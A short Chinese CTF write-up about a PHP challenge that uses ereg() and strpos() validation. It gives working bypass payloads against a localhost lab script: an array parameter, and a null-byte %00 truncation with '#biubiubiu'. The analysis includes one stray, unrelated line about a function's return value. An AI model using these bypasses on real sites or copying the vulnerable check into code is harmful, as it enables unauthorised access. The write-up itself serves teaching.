源码:
<?php
$flag="123456";
if(isset($_GET['nctf'])){
if(@ereg("^[1-9]+$",$_GET['nctf'])===FALSE)
echo'必须输入数字才行';
elseif(strpos($_GET['nctf'],'#biubiubiu')!==FALSE)
die('Flag:'.$flag);
else
echo'骚年,继续努力吧啊~';
}
?>
函数释义:
字体示例:该函数返回成功设置的变量数目。
strpos()函数查找字符串在另一字符串中第一次出现的位置,如果没有找到该字符串,则返回 false。
ereg正则函数,限制了输入必须要有数字
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
两个函数都可以用数组进行绕过。
strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求。ereg()在出错时返回的也是null,null!==false,所以符合要求。
代码分析:
获取flag条件:
if(@ereg("^[1-9]+$",$_GET['nctf'])===FALSE) 不满足
elseif(strpos($_GET['nctf'],'#biubiubiu')!==FALSE)满足
解题过程:
刚开始打开php文件提示404,重新建了一个php文件把代码复制过去就又可以了
nctf=biu时访问链接:
http://localhost:63342/php_bugs-master/15.1.php?nctf=biu
nctf=1时访问链接:
http://localhost:63342/php_bugs-master/15.1.php?nctf=1
获取flag方式1:
http://localhost:63342/php_bugs-master/15.1.php?nctf[]=1
获取flag方式2:
ereg函数存在NULL截断漏洞,正则匹配可以用%00绕过,还必须要有#biubiubiu,对#进行url编码为%23
http://localhost:63342/php_bugs-master/15.1.php?nctf=1%00%23biubiubiu
参考链接:
https://github.com/bowu678/php_bugs